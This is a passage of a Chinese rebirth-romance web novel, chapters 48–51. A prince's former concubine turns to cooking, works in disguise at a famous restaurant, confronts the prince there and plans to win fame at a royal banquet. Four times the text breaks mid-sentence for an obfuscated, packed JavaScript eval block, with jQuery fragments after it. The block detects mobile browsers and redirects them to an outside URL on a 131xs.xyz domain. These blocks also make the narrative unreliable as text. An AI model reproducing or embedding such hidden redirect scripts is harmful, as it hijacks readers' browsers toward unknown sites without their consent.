然而下一秒，在听见齐知秋感叹这么好的下酒菜，要是有天下第一楼的天下春就好了的时候，沐毓露的笑容瞬间凝固在了脸上。 天下春是天下第一楼的秘制汾酒，也是前世沐毓露的执念之一。 在听见齐知秋问她是否会喝酒的时候，她有些失神地摇了摇头。 但其实前世的她嗜酒如命，而这件事情除了前世的穆衾寒，谁也不知道。 在嫁给穆衾寒之前，沐毓露的确是滴酒不沾的，她其实喝不惯酒的味道。 但是在进入穆王府之后，穆衾寒将她冷落在王府的角落里，她想要见他一面都难，后来又发生了那样多的事情，她成夜成夜的睡不着觉，便学会了借酒消愁。 只有酒能让她从痛苦的现状中暂时抽身离开，喝醉时她仿佛进入了另一个世界，另一个没有穆衾寒也没有这诸多烦恼的世界。 她可以暂时忘记所有的烦恼，好像那些令她感到痛苦的事情从来没有发生过，她可以浑浑噩噩地睡去，在梦里她也不再是一个被人唾弃的罪人。 可是借酒浇愁愁更愁，这样的状态只是暂时的，再美好的梦也终有醒来的一天。 宿醉之后清醒过来的她只会感觉更加的痛苦，于是便需要更多的酒来麻痹自己。 沐毓露就这样染上了酒瘾。 而上辈子她最钟爱的酒便是天下第一楼的天下春，此酒入口清冽，而且不烧喉咙，但是后劲儿极大，只需要一小坛便可以把人撂倒。 沐毓露需要的就是这种喝完之后让她倒头就睡的烈酒。 自从穆衾寒将柳闻霜娶进王府之后，沐毓露就有些放飞自我了，她逐渐意识到无论自己做什么穆衾寒都不会多看她一眼，更不可能爱上她，她也就开始无所顾忌地酗酒，并且还把喝酒的账单都算到穆王府的头上。 原本穆衾寒根本就懒得管她，她就算再如何酗酒，一个人也不可能喝垮穆王府，而且喝了酒之后她可以安安静静地睡上一整天，不会再给他惹事生非，对于他来说未尝不是一件好事。 沐毓露自嘲地想，不管她喝多少酒都不制止她，算得上是穆衾寒唯一一件纵容她的事情吧。 如今回想起来，穆衾寒说不定巴不得她快点醉死，如此他便少了一个大麻烦。 可惜后来王府侍妾是个酒鬼这件事情不知道被谁传了出去，还添油加醋地描绘了一番沐毓露醉酒之后的疯态，引得人们议论纷纷，一时间京城里的人都拿她当做谈资笑料。 沐毓露又一次成为了穆王府的污点。 碍于颜面，穆衾寒开始逼着她戒酒。 沐毓露早已染上了酒瘾，突然要求她在短时间内戒掉是很困难的，因此她戒酒的过程很痛苦。 起先穆衾寒只是不许她再打着穆王府的旗号去天下第一楼赊账买酒，还把王府里所有的酒都藏了起来，不许沐毓露再踏进厨房一步。 然而沐毓露的鼻子比狗鼻子还灵，她总能在王府的角角落落里找到酒喝。 后来穆衾寒发现藏酒这一招对沐毓露没有用，便干脆把沐毓露锁在了她的小院子里，还派了两个侍卫在院门口监视她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386310|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没有酒喝的沐毓露就像被放逐到了沙漠里的鱼一样难受，每天抓心挠肝的就想喝一口酒解馋。 如此过了几日，她居然趁人不备翻墙爬出了院子，溜进厨房大喝特喝，等人发现她的时候她已经喝了两坛子酒，把自己摔进水缸子里醉得不知天地为何物。 穆衾寒一怒之下直接把她带回院子绑了起来，罚她三天不许吃饭。 三天过后他却并没有给她松绑，只是命人送来一些饭食，然后告诉她，什么时候她能把酒戒了，什么时候就能重获自由。 接下来整整一个月的时间她都被绑在院子里，吃喝拉撒都在原地解决，她在这一个月里暴瘦了十斤，被放出来的时候已经瘦得不成人样。 这是一段如今的沐毓露回忆起来仍旧觉得胆寒的记忆，被迫戒酒的那段时间她以为自己已经身处人间地狱，却是不知后面还有更恐怖的囚禁等待着她。 后来被囚禁在小黑屋里的那三年，她无时无刻不在思念着那一口天下春。 只要能给她一坛酒，她就能昏睡过去，就能短暂地离开现实，离开这间逼仄黑暗并且满是恶臭的屋子。 但是直到被穆衾寒扔下一条白绫赐死，她都没能再尝到一口天下春的味道。 临死前她还在想，早知道后来要被穆衾寒凌虐至死，她还不如当初就直接醉死在天下春里。 眼泪啪嗒一声滴落在石桌上的时候，桌前的三个人都被吓了一跳。 齐知秋咀嚼的速度都变慢了。 齐知止也停下了手上的动作，转过头定定地注视着她。 不等他们开口发问，沐毓露抹了一把眼泪自己先解释道：“我实在是太感动了。” 齐知秋更疑惑了：“你感动什么呀？” 沐毓露深情地握住了她的手，“今天遇见了你，我才终于遇见了一个懂我的知音。” 她当然只能这么说，总不能告诉他们今天流的眼泪都是自己前世脑子里进的水。 “你是不知道，我天天给府上的这些人做菜吃，他们却根本不懂得品鉴。”沐毓露又抹了一把眼泪，“但是你居然能品出一头猪的纯粹，你才是真正懂我的人，你才是真正的美食家。” 齐知秋也大为感动：“我哥总说我是山猪吃不了细糠，不管吃什么都是两口就下了肚，根本品不出味道，离了你还有谁拿我当美食家！” 齐知止在一旁无语地抽了抽嘴角。 沐毓露趁机说道：“其实我一直都有一个梦想，我苦练厨艺多年，就是希望有朝一日我的手艺能够被更多的人品尝到，若是大家能够吃得开心，我也就满足了。” 齐知秋点了点头，然后对齐知止道：“我记得杨大厨也说过这样的话。” 说到这里她突然眼前一亮：“既然沐姐姐有这样的想法，那何不到我们的酒楼里来做菜？” 她越说越觉得此法可行：“你若是能来酒楼做菜，不仅能让更多的人品尝到你的厨艺，也能够帮我们吸引到更多的客人，这完全是一个双赢的法子呀！” 49. 第49章 沐毓露的目的达到了。 她方才还在苦恼应该怎么同齐知止谈起这个话题，才不会显得她今晚的举动别有用心。 毕竟她的身份摆在那里，好歹是沐府的大小姐，总不能告诉他们她是因为手头拮据才想到天下第一楼去做厨子的吧。 没想到正在她苦恼之际，齐知秋自己顺着她的话说起了这件事，那她就干脆继续引导着她把自己想做的事情主动说出来。 齐知止听见这话蹙了蹙眉，“沐小姐乃沐府千金，如何能够到我们的酒楼来给人烧菜？” 沐毓露连忙道：“能的能的。” 她松开齐知秋的手，转而揪住齐知止的衣袖，眨巴着眼睛道：“我觉得齐小姐说得特别有道理，这完全就是一个双赢的法子。” 她又冲着齐知止眨了眨眼睛，“我就是单纯喜欢做菜，希望能有更多人尝到我的手艺，你们就算不给我工钱也可以的。” 她又开始以退为进了。 齐知秋连忙打断她：“这怎么能行，怎么能不给你算工钱？你做得这么好吃，要我说就应当按照杨大厨的工钱来给你结算。” 这单纯的丫头又上钩了。 齐知止当然不像齐知秋那般好糊弄，他认真地注视着沐毓露，直盯得她有些心虚了才开口道：“沐小姐是认真的？” 沐毓露咽了口唾沫点了点头。 齐知止也点了点头，“我倒是可以做主，让你进入天下第一楼，但是……” 听到但是两个字沐毓露的心悬了起来，她还以为齐知止要说工钱减半之类的话，毕竟她待在沐府，每日能到酒楼做菜的时间有限，一天可能只有两三个时辰能够待在酒楼。 她已经想好了，即使工钱减半，那也是一笔可观的收入，她还是会欣然前往的。 她实在是太需要钱了。 却没想到齐知止只是道：“但你需得做好伪饰，每日乔装打扮，不能以女子的身份出现在酒楼后厨。” 沐毓露愣了一下，“天下第一楼是不招女厨吗？” 齐知止笑了笑，“那倒不是，是因为沐小姐的身份有些特殊，你若是不做伪装，未免有些惹眼。” 沐毓露恍然大悟地哦了一声，连忙向齐知止保证：“这个你放心，我绝对不会让任何人发现我的真实身份，绝对不会给你们添一点麻烦的。” “如此倒是委屈沐小姐了，那我便按照杨大厨的工钱给你结算。”齐知止望着她，满眼都是笑意，“此外我会单独给你一些银子，就当作小姐每日伪装的辛苦费了。” 沐毓露听得双眼放光。 此刻齐知止在她心目当中的形象可以说是相当的高大威猛，与前几日留给她的印象截然不同。 她感动地道：“那就多谢齐公子了，我没有什么可感谢的，只能邀请你们没事到我这里来小坐片刻，我给你们做我的拿手好菜吃。” 说着她殷勤地给齐知止夹了一块豆腐，“你尝尝这个豆腐，这是我独创的菜品，在别的地方是吃不到的。” 齐知秋听她这样说，不等齐知止动筷，先忙不迭尝了一口，然后她就对眼前的这盘豆腐肃然起敬，“这豆腐也太嫩了吧，最厉害的是这么嫩的豆腐居然没有一点腥味，比我吃过的任何豆腐都要鲜。” 齐知止细细地品了一口，然后便道出了其中关键：“这嫩豆腐是放在水中煮过的，以此去除豆腥气，但真正掩盖腥味的是鸡汤和鱼片。” 沐毓露又开始拍齐知止的马屁：“要不说你是天下第一楼的少东家呢，果然会吃！” 她又给齐知止盛了一块豆腐，“这嫩豆腐的确是放入鸡汤中，同切薄的鱼片一起滚煮数刻后加入糟油和香菇方才起锅。” 齐知止眼中浮现出欣赏之色，齐知秋则连连称赞道：“你是怎么想到这个做法的？实在是太好吃了。” 沐毓露随口道：“我之前也就是随便一试，没想到煮出来的豆腐味道会如此鲜美。” 她一边编造着谎言，一边在心里苦笑。 还能是怎么想到这个做法的？ 还不是因为穆衾寒。 前世穆衾寒最喜欢吃的就是这嫩豆腐，但是他又嫌弃豆腐有腥味，即便是天下第一楼的杨大厨烹饪出来的嫩豆腐，他依然能够吃出豆腥味。 为了讨穆衾寒的欢心，沐毓露开始苦心钻研嫩豆腐的做法，力求在保证豆腐味道鲜嫩可口的同时去除所有的豆腥气。 只不过前世这一道她苦心钻研出来的鸡汤煨豆腐在送到穆衾寒跟前后，立马就被他倒出去喂了狗。 想到这里沐毓露在心里冷笑，罢了，是这个狗男人没有口福，这么美味的菜就算端到了他的跟前他也尝不到。 前世的她也是太固执了，压根没有想到自己完全可以依靠这一身厨艺自力更生，每天巴巴的给这狗男人做什么饭？ 如今她已经幡然悔悟，这一身的厨艺能不能抓住男人的心她不知道，但是能够抓住客人的胃她是很肯定的。 男人的心算个什么东西？又不能当饭吃。 只有客人的胃才能带给她实打实的银两。 几个人就这么吃着饭把这件事情敲定了。 有了沐毓露的加入，本就门庭若市的天下第一楼更是红得发紫，尤其是她的独创菜品鸡汤煨豆腐，吸引了许多远道而来的食客。 最夸张的时候她一天能做六七十品豆腐。 这样的日子自然是劳累的，但是沐毓露乐在其中。 毕竟以前在王府的时候她也是这样一整天都泡在厨房里研究新菜品，然而她的付出没有任何收获，但现在每天只要劳累几个时辰，她就可以赚大把大把的银子，甚至还能获得食客们额外的打赏。 如今在天下第一楼当厨子，她才算是真正感受到自己的价值，也才算是真正体会到了烹饪的乐趣。 由于她的独创菜品鸡汤煨豆腐实在是太火爆，如今对于她来说，每天在后厨做上几十品豆腐已经是稀松平常的事情了。 这日她照常在后厨忙碌，接过跑堂的点菜单子，头也不抬地忙活起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392921|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。这张点菜单子上恰好都是她的拿手好菜，她做起来可谓得心应手。 一道又一道的菜品出锅，跑堂的高兴得喜上眉梢，在沐毓露把笋丝切得飞起的时候，他捏着一锭银子凑过来，讨好地对她道：“真是多亏了沐大厨的好手艺，才能吸引来这样一位贵客，他出手可真是阔绰，随便一打赏就是一锭银子呢。” 沐毓露继续飞快地切菜，“放心吧，交给我就好，你提前嘱咐过的，这位可是贵客，你看我连切菜都是自己切，都没有让旁的人备菜。” 跑堂乐得合不拢嘴：“上头那位对沐大厨的手艺可是赞不绝口呢，尤其是那品嫩豆腐，穆王爷亲自盖章，说从来没有吃过这么鲜美的嫩豆腐……” 跑堂的话还没有说完，沐毓露手腕猛地一抖，手中菜刀哐当一声砍在砧板边上，震得她虎口发麻。 她回头瞪着他，“你方才说谁？穆王爷？穆衾寒？” 跑堂的吓得扑上来想捂住她的嘴，“你怎么敢直呼穆王爷的名字啊？不想要小命啦？” 想到自己辛辛苦苦做的菜落入了穆衾寒的嘴巴里，一股无名火从沐毓露的心头窜起。 他不是嫌弃她做的菜脏么？不是宁愿把那些菜倒出去喂狗也不愿意吃么？ 前世她做菜的唯一动力就是盼着穆衾寒尝一口她专门为他研究的新菜品，可是这一世的她打死也不想再给穆衾寒做菜。 沐毓露一把挥开跑堂捂上来的手：“穆衾寒在哪里？” 这跑堂的就算再笨，此刻也反应过来沐大厨与穆王爷不对付了，哪里还敢让她上楼去找他，于是赶紧把嘴闭上，一边摆手一边往厨房外边跑。 “行，你不告诉我是吧，没关系。”沐毓露直接将手中的菜刀一扔，转头看了一眼点菜单子上的小字，只见上面赫然写着天字第一号。 跑堂的脸都快憋红了，“您这是要干什么去呀，您可千万不能得罪穆王爷啊。” 他连忙唤来还在前堂忙碌的伙计们，几个人一起张开手臂想要拦住沐毓露。 然而沐毓露一到这种关头就如有神力，那力气不是一般的大，这几个男人合力居然都拦不住她，眼睁睁看着她跟个炮仗似的就朝着天字第一号冲过去了。 一口气爬了好几楼，沐毓露气都不带喘。 她一把推开走廊尽头那扇雕花木门，门板撞在墙上发出好大一声响。 屋里头，穆衾寒正举着一双筷子，慢慢悠悠地要去夹菜，他旁边站着两个随从，原本跟木头桩子似的杵着，见到沐毓露进来，互相对视了一眼，抬手准备拔剑，却被穆衾寒制止。 他自然是一眼就认出了沐毓露来，见到她这副打扮出现在酒楼，他一下子就反应过来。 穆衾寒心情极好地道：“我说这里的菜品与从前不一样，还道是怎么回事，原来是他们请来了你这位大厨？” 然而穆衾寒显然是高兴得太早了，他眼中的笑意才刚刚浮起，下一秒沐毓露就抡圆了胳膊抬手一掀，直接将这一桌子菜连同桌布一起全都掀翻了。 50. 第50章 沐毓露掀盘子的时候使出了吃奶的劲儿。 屋子里瞬间传出惊天动地的碎裂声，桌子上顿时滚油四溅汤汁横流，它们滴滴答答地顺着桌腿往下淌，在光可鉴人的地板上洇开一大片油渍。 紧跟在沐毓露身后赶来的跑堂伙计们看见的就是这令人惊悚的一幕。 他们还没有走进屋里就直接跪了下来，一边磕头一边往屋子里面爬：“王爷饶命！王爷饶命啊！” 穆衾寒眼中的笑意甚至还没有消散，一桌子菜就这么被沐毓露掀飞了。 其中一盘菜的红油点子还溅在了他的袖口上，很快晕开几点深色污迹。 他迟疑地盯着沐毓露望了好一会儿才缓缓放下筷子，那动作慢得简直让人心头发紧。 天下第一楼的人吓得魂飞魄散，磕头如捣蒜，脑门撞在地板上发出咚咚的响。 其中一个人鼓起勇气解释道：“还请王爷恕罪，他今日怕不是失心疯了，绝不是故意冒犯王爷的，他平时其实挺正常的……” 沐毓露冷笑一声：“我没疯，我就是故意掀翻盘子的，我告诉你，这些菜我就算是拿去喂狗也不会给你吃。” 沐毓露说完这些话，屋里陷入一片死寂。 完了。 彻底完了。 那几个伙计将脑袋垂得更低了，身体抖得比筛子还夸张。在这沉默的几秒钟时间里他们连自己埋哪儿都想好了。 但沐毓露却在这几秒的时间里走完了自己前世短暂的一生。 那被嘲笑、被蔑视、被践踏的一生，被所谓亲人坚定地放弃的一生，因为爱一个人而遭受所有人憎恶的一生。 她在回忆里逆着时光的长河向前走，她想起自己第一次走进厨房的初衷，最开始她只是想陪在他身边，希望能用这些菜换得他一刻展颜而已。 可是他将她用心做的菜都扔出去喂了狗。 她觉得自己也被他扔进了深渊里，就好像那些被扔去喂狗的菜一样，仅仅在刚出锅的时候有一丝冒着热气的鲜活。 此后便只有无尽的恶寒。 重活一世，她不原谅他。 此刻她心里的愤怒胜过恐惧，声音里甚至带着同归于尽的狠劲儿：“民女身份卑微，做出来的菜脏得很，王爷如何能吃？” 方才沐毓露掀翻这些菜盘，穆衾寒只是心中不解，可是在听到她说出这番话之后，他的心里也升腾起了一股怒意。 沉沉地注视着沐毓露，他连眉头都没有皱一下，但眼神里的压迫感几乎快把空气冻结。 盯着沐毓露看了半晌，他突然轻轻地问了一句：“是因为我曾经将你做的菜扔去喂过狗么？” 他的声音不高，语气也平平淡淡，只带了一点猜测的味道，然而就是这样一句平淡的问话，砸进沐毓露的心里，就像是巨石砸进了水潭，激起巨大的水花。 她满脸狐疑地盯着他。 他刚才那句话是什么意思？ 难道他也重生了，想起了前世的记忆？ 这个猜测刚从脑海中浮现便被她否定了。 世上怎么可能有这样的巧合，随便一个人都能轻轻松松地重生？ 那么就只剩下一种可能。 他一定是猜出了什么。 她方才只是说了一句宁愿拿去喂狗也不会给他吃，他便猜到了关键所在。 这个男人实在是太可怕了。 她咬着牙往后倒退了一步。 短暂的沉寂过后，沐毓露突然抬起那双还沾着油烟的手，几乎戳到了他的面前：“你看清楚我这双手，整天在灶灰里扒拉，在油烟里打滚，腌臜得很！” 她盯着穆衾寒的眼睛，声音因为过于激动而颤抖：“我这双手做出来的东西也一股下贱味儿，配不上王爷您的金尊玉贵，你听明白了吗？” 沐毓露话音落地，整个房间再次陷入死一般的寂静，屋子里只剩下跑堂伙计们压抑到极致的呼吸声，甚至隐隐约约传来了不知道是谁带着哭腔的抽气声。 现在他们不仅是把自己埋哪里想好了，而是连同一家老小的墓地都一并想好了。 沐毓露这是想让他们全家都给她陪葬啊。 穆衾寒没有开口，他只是沉默地注视着沐毓露伸到他面前的那双被水浸得通红的手，目光不再是冰冷的审视，深不见底的眸子里逐渐翻涌起一些别的情绪。 她的手细嫩白皙，这原本该是一双执笔的手，不该在凉水里浸泡，更不该沾染上灶台的油污。 她是什么时候学会做菜的？ 她最拿手的菜偏偏就是他最爱吃的菜。 难道这也跟那些屋契一样都是巧合吗？ 低沉的声音再次响起，穆衾寒的语气里带着一些思忖，还有一丝试探：“曾经我对你说过这番话？还是我身边的人对你说过类似的话？” 否则她怎会如此暴怒。 沐毓露彻底呆住了，她站在原地，身体控制不住地微微颤抖起来。 他猜到了。 他果然猜到了。 可是这怎么可能。 重生这样离奇的事情，他居然就这么轻而易举地猜到了，而且还很平静地接受了？ 穆衾寒观察着沐毓露的反应，声音依旧是平稳无波的调子：“怎么这般表情？看来我猜对了？” 沐毓露闭紧了嘴巴，不想再说一句话。 她每说一句话穆衾寒就猜出一些信息，这还让她怎么玩儿？ 简直活不了一点。 见到方才还趾高气昂的人此刻蔫巴得像一只小猫，穆衾寒微不可查地挑了挑眉。 他往前走了两步，在沐毓露面前站定，玄色身影挺拔如松，无形的威压瞬间弥散开来。 沐毓露下意识想退，却被他一把扶住。 他的声音依旧平静：“你放心，我会替你保密。” 他这话说得很有意思，倒像是一语双关。 他会替她保守什么秘密？ 是向沐玉罡隐瞒她私自出府乔装打扮在天下第一楼当厨子的事儿？还是向世人隐瞒她沐毓露死过一回又重新活过来的事儿？ 无论哪一件都很惊悚。 见到沐毓露很明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413199|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显因为他的话而陷入了沉思当中，穆衾寒在她的耳畔轻笑出声。 自从重生之后，每次都是沐毓露掌控着局面，穆衾寒面对她的阴晴不定只能无力地胡乱揣测。 而这一次竟然反过来了。 她又一次被他拿捏住了。 穆衾寒自始至终没有如众人想象中那般发怒，他最后凝视了沐毓露一眼，绕过地上的那片狼藉，步履沉稳地向门口走去。 直到那抹玄色的身影彻底消失在门外，走廊里的脚步声也渐渐远去，房间里冻结的空气才咔吧一声裂开。 那几个跑堂的哆哆嗦嗦站起身来，一边嚎叫着这是塌天大祸，一边连滚带爬地跑出去寻人来收拾残局。 沐毓露则始终僵立在原地。 胸中炸开的那团火焰在穆衾寒一声声平静的询问中逐渐熄灭，仿佛被兜头浇了一大盆冰水，此刻只剩下灼烧后灰烬飘扬无处着力的虚脱感，以及一丝难以言喻的更加尖锐的屈辱。 那种被无形的细密的网笼罩住的窒息感再次弥漫了上来。 她觉得自己快要无法呼吸，于是抬手抚上胸口，微微弓起身子，大口大口地喘着气。 便在这时，一阵极轻的脚步声自她身后传来，她尚未回过神，一只修长的手已经带着暖意，轻轻地搭在了她的肩上。 沐毓露身子一僵，刚想回头，那人已经侧身绕到了她的面前。 见到来人后她松了一口气，但是紧接着又有一股愧疚感涌上心头，她全然没有了方才嚣张的气势，双手搅着袖子嗫嚅地道：“齐公子，我好像给你惹了点麻烦。” 齐知止手中握着一柄折扇，他将扇骨轻巧地一旋，扇面却并没有展开，只用那冰凉的象牙骨一端，虚虚地、极快地从她眼下拭过：“怎么掉眼泪了？是谁惹我们家沐大厨不开心了？” 他这动作简直称得上轻佻，然而指尖并未真正触及到她的肌肤，那点矜持的界限竟然守得意外分明，让沐毓露想要生气都不知该从何处生起。 见她被自己逗得有些恼怒了，齐知止声音里的玩笑之意淡去了几分，转而添了些温润的郑重：“没事的，就算天塌下来我也给你顶着，不就是惹了穆王爷么，反正你也不是第一次惹他了。” 沐毓露没忍住噗嗤一笑。 齐知止这话倒也说得没错，她的确不是第一次惹怒穆衾寒了，每一次在他面前放狠话的时候她都是抱着必死的决心，可最后还不是好好的活到了现在。 她终于抬起眼来，仍有些嗔怒地瞪着齐知止：“我一人做事一人当，倒也不麻烦齐公子帮我顶着。” 齐知止与她对视片刻，见她原本蓄满哀伤的眸子此刻像是被水洗过，重新亮起光芒，于是也扬唇跟她一起笑了起来：“伤心食为药，今日我给你放半天的假，亲自给你做一道清蒸鲈鱼吃，你觉得好不好？” 沐毓露盯着他看了一会儿：“你为什么对我这么好？不会是有诈吧？” 齐知止笑得更开心了：“你沐大厨可是我的摇钱树，我当然得把你哄开心了，不然谁给我的客人们做鸡汤煨豆腐？” 51. 第51章 天下第一楼的这一场风波就这样结束，事后穆衾寒果然没有来找沐毓露的麻烦，也没有将她乔装打扮在酒楼里当厨子的事情泄露给沐玉罡。 他果真如那日所说的那般替沐毓露保守住了秘密。 这件事情令沐毓露感到喜忧参半。 喜的自然是一桩祸事就这样以意想不到的方式了结，她并没有遭到穆衾寒的报复，也没有牵连到天下第一楼。 可是令她感到担忧的也正在于此，她实在是太了解穆衾寒的个性了，可以说重生以来她在他面前做的每一件事情都足够让她被赐死一万次。 但穆衾寒居然每一次都忍耐了下来。 他对她展现出来了极大的包容心，这让沐毓露生出一种不详的预感。 她觉得自己就像是一个早就被穆衾寒盯上的猎物，此刻他没有将自己拆吃入腹，不过是在冷眼旁观，看她还能折腾出一些什么花样来而已。 因此这几日虽然过得很平静，但她仍旧每天都忧心忡忡的，烧菜的时候愁眉不展，就连客人都说鸡汤煨豆腐的味道跟从前相比有一些不一样了。 跑堂的问他们哪里不一样。 他们说吃出了一些悲伤的味道。 …… 如此又过了好几天，直到听见齐知止为她带来一个好消息，沐毓露才算是真正放松了下来。 转眼间三皇子的生辰就快到了，朝廷要求天下第一楼在生辰宴上献菜三品，齐知止报上去的三位名厨中，其中一位便是沐毓露。 要知道能在皇室宴席上献菜的那可都不是寻常人，至少得是名厨中的名厨，高手中的高手。 若是沐毓露能够成功在几日后的宴席上献菜，并且获得好评，那她沐大厨可就真的出名了。 能在朝廷宴席上献菜，那便证明她的手艺至少不逊于御厨，有了这样一个名号，以后她即便离开京城也不至于饿死自己。 沐毓露自然也知道，她在天下第一楼资历尚浅，她的名字能够出现在献菜的名单上肯定多亏了齐知止。 当晚她便邀请他到自己的院子里小坐，她要给他做几道拿手好菜，聊表她的谢意。 齐知止自是欣然应允，只不过这一次他是打着来沐府寻风问棠的旗号，并没有带上齐知秋。 是夜，沐毓露和齐知止两人在小院里乘着清风明月相对而坐。 院中的青石小几上置着几样精致菜肴，全都是沐毓露的拿手好菜，其中一道便是令她在天下第一楼扬名的鸡汤煨豆腐。 今日这豆腐切得极为方正，浸在金黄色的汤底里，吸饱了汤汁，个个莹润饱满，边缘还微微透明，看起来便令人食指大动。 除此之外还有一道胭脂鹅脯，薄薄的肉片色泽如霞，铺在雪白的笋片上，浇以琥珀色的蜜汁，十分油亮诱人。 齐知止好奇地望着那一碟鹅脯：“这道菜似乎是玄武国的特色菜，你是如何学会的？” 沐毓露眨了眨眼睛道：“那日见杨大厨做了这道菜，我便同他讨教了一下。” 她这话倒并非撒谎，前世穆衾寒出使玄武国，在当地尝到了这样一道胭脂鹅脯，回国之后依然对这一道菜念念不忘。 正好杨大厨就是玄武国人，做得一手的当地好菜，沐毓露前世跟随杨大厨学习厨艺的时候，是特意向他请教过这道鹅脯的做法的。 齐知止听见她这样说，挑眉点了点头。 他并未急着动著，而是闲闲地执起面前的酒杯，同时调侃地对沐毓露道：“穆王爷倒是甚喜这一道胭脂鹅脯，每月都会令人到天下第一楼取菜。” 他说到这里便不说了，指尖摩挲着温润的杯壁，望向沐毓露的眼光里带着莫名的笑意。 沐毓露咽了口唾沫。 这个人怎么回事？ 难道他也猜出了什么来？ 此刻沐毓露只觉得朱雀国的人个个都成了精，越想越觉得可怕，这个地方确实是不能久留了。 齐知止仿佛是看穿了沐毓露的想法，他注视了她一会儿，没有继续方才的话题，转而问道：“你如今应当已经攒下了不少的银两，若是真能够在三皇子的生辰宴上一举扬名，你可否打算离开朱雀国？” 沐毓露愣了一下，她原本想问他是怎么知道她想要离开朱雀国的，可是在开口时又想到另一个更关键的问题：“我在三皇子的生辰宴上一举扬名？” 她从来没有想过自己会一举扬名，她琢磨着她的鸡汤煨豆腐能够一炮而红也就足够了。 齐知止又笑了笑：“你的手艺如此好，自然是会在诸国面前扬名的，难不成你这辈子只做这一道鸡汤煨豆腐，只需要它出名也就够了？” 好吧，齐知止又猜透了她的想法。 她谨慎地道：“可我只是一介女子，在这么多人面前张扬终究是不好。而且那日人多眼杂，我女扮男装的事情肯定会被我爹知道。” “他知道又如何？我从来没打算让你在生辰宴上女扮男装。”齐知止的声音里带着不容置疑的笃定：“平日要求你伪装自己，的确是为了不给天下第一楼添麻烦。” “但同样也是为了让你隐忍蛰伏，蛰伏不是为了就此隐姓埋名，而是为了等待时机一飞冲天。” 沐毓露张了张嘴，突然间觉得不知道该说些什么，她没有想到他竟然为自己谋划了这样多。 齐知止继续说道：“现在机会已经来了，你可以借此机会一举扬名，像杨大厨一样成为各地酒楼哄抢的名厨。” “自古成大事者不拘小节，又如何会有男女之别？想那玄武国的皇女都敢与诸皇子争夺皇位，可见女子之见识并不输于男子，你又有什么不敢的？” 他这话说得很有道理，沐毓露自然也极为心动，可是她仍旧有自己的顾虑。 许是此前被沐玉罡打压得狠了，她一直以来的计划都是攒够了银两悄悄离开沐府，从来没有想过像这样扬名天下，然后大大方方地离开。 齐知止当真如有读心术一般，仿佛能一眼看穿她的顾虑：“不必担心你的父亲，你都在各国使者面前一举扬名了，难道还害怕他将你绑去与人成婚？即便他当真如此糊涂，你有了这样的名望，反抗时岂不是也更有底气？” 说到这里他微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425903|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微一笑：“更重要的是，太皇太后是绝不会允许一个在众人面前抛头露面的商户女嫁入穆王府的。” 沐毓露眼前一亮。 对呀，她怎么没有想到这一层。 再望向齐知止时，她的眼神都变了。 齐知止笑道：“终于打消你的顾虑了？” 沐毓露举起手中的杯子：“大恩不言谢，我以茶代酒敬你一杯。” 饮尽杯中的茶水，沐毓露这才发现，原来人只要想通了，根本不需要酒，哪怕只是一盏茶水也可以浇灭心中块垒。 齐知止继续问她：“你还没有告诉我，等到攒够了银两，你是否想要离开这里？倘若离开朱雀国，你最想去哪里？” 沐毓露歪着脑袋想了想，“我最想去玄武国瞧一瞧。” 说到这里，她抬手支着脑袋，颇有兴致地问：“你行商需要走南闯北，一定去过不少的地方，可以给我讲讲玄武国的风土人情么？” “好呀，正好前岁冬日我带领商队行至玄武国，我们一行人在那里过了一个年。”齐知止笑着开口，声音里带着几分回忆的懒散。 “我们落脚的地方是靠近玄武国北边的一个小镇，那地方坐落于终年积雪的山脚，白色的山峦直插云霄。日头一照，漫山遍野都像撒了碎金，刺得人睁不开眼。” “玄武国人大多信教，而那座小镇上的庙宇堪称一大奇观，居然建造在万仞绝壁之上，通体用巨大的白石垒砌，隐于皑皑白雪之间。” 沐毓露听得有些出了神，脸上浮现出向往之色。 但听齐知止继续道：“听人说那座庙宇里的老喇嘛常年只穿一件单薄的红色僧衣，却能在冰天雪地里静坐诵经数个时辰。” 